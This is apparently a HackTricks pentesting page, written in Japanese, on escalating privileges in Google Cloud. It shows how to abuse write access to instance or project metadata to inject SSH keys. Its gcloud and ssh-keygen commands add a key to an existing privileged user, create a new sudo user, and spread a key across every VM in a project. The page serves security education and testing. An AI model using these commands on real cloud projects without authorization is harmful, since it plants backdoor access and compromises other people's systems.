# GCP - カスタムSSHメタデータの追加

{{#include ../../../../banners/hacktricks-training.md}}

## メタデータの変更 <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>

インスタンスのメタデータの変更は、**攻撃者が必要な権限を取得した場合に重大なセキュリティリスクを引き起こす可能性があります**。

### **カスタムメタデータへのSSHキーの組み込み**

GCPでは、**Linuxシステム**はしばしば[Google Compute Engine用のPython Linux Guest Environment](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)からスクリプトを実行します。この中で重要なコンポーネントは[accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)であり、これは**定期的に**インスタンスのメタデータエンドポイントをチェックして**認可されたSSH公開鍵の更新**を確認するように設計されています。

したがって、攻撃者がカスタムメタデータを変更できる場合、デーモンが新しい公開鍵を見つけるように仕向けることができ、それが処理されて**ローカルシステムに統合されます**。鍵は、**既存のユーザーの`~/.ssh/authorized_keys`ファイルに追加されるか、鍵の形式に応じて`sudo`権限を持つ新しいユーザーが作成される可能性があります**。攻撃者はホストを侵害することができます。

### **既存の特権ユーザーにSSHキーを追加する**

1. **インスタンス上の既存のSSHキーを調べる:**

- インスタンスとそのメタデータを記述するコマンドを実行して、既存のSSHキーを見つけます。出力の関連セクションは`metadata`の下、特に`ssh-keys`キーの下にあります。

```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

- SSHキーの形式に注意してください：ユーザー名は鍵の前にあり、コロンで区切られています。

2. **SSHキーのメタデータ用のテキストファイルを準備する:**
- ユーザー名とそれに対応するSSHキーの詳細を`meta.txt`という名前のテキストファイルに保存します。これは、新しいキーを追加しながら既存のキーを保持するために重要です。
3. **ターゲットユーザー（この例では`alice`）のために新しいSSHキーを生成する:**

- `ssh-keygen`コマンドを使用して新しいSSHキーを生成し、コメントフィールド（`-C`）がターゲットユーザー名と一致するようにします。

```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

- 新しい公開鍵を`meta.txt`に追加し、インスタンスのメタデータに見られる形式を模倣します。

4. **インスタンスのSSHキーのメタデータを更新する:**

- `gcloud compute instances add-metadata`コマンドを使用して、更新されたSSHキーのメタデータをインスタンスに適用します。

```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

5. **新しいSSHキーを使用してインスタンスにアクセスする:**

- 新しいキーを使用してSSHでインスタンスに接続し、ターゲットユーザー（この例では`alice`）のコンテキストでシェルにアクセスします。

```bash
ssh -i ./key alice@localhost
sudo id
```

### **新しい特権ユーザーを作成し、SSHキーを追加する**

興味深いユーザーが見つからない場合は、`sudo`権限を与えられる新しいユーザーを作成することが可能です：
```bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
### プロジェクトレベルのSSHキー <a href="#sshing-around" id="sshing-around"></a>

**プロジェクトレベルでSSHキーを適用する**ことで、クラウド環境内の複数の仮想マシン（VM）へのSSHアクセスの範囲を広げることが可能です。このアプローチにより、プロジェクト内で明示的にプロジェクト全体のSSHキーをブロックしていないインスタンスへのSSHアクセスが可能になります。以下は要約ガイドです：

1. **プロジェクトレベルでSSHキーを適用する：**

- `gcloud compute project-info add-metadata`コマンドを使用して、`meta.txt`からプロジェクトのメタデータにSSHキーを追加します。このアクションにより、VMが「プロジェクト全体のSSHキーをブロック」オプションを有効にしていない限り、SSHキーがプロジェクト内のすべてのVMで認識されるようになります。

```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

2. **プロジェクト全体のキーを使用してインスタンスにSSH接続する：**
- プロジェクト全体のSSHキーが設定されている場合、プロジェクト内の任意のインスタンスにSSH接続できます。プロジェクト全体のキーをブロックしていないインスタンスはSSHキーを受け入れ、アクセスを許可します。
- インスタンスにSSH接続する直接的な方法は、`gcloud compute ssh [INSTANCE]`コマンドを使用することです。このコマンドは、現在のユーザー名とプロジェクトレベルで設定されたSSHキーを使用してアクセスを試みます。

## 参考文献

- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

{{#include ../../../../banners/hacktricks-training.md}}
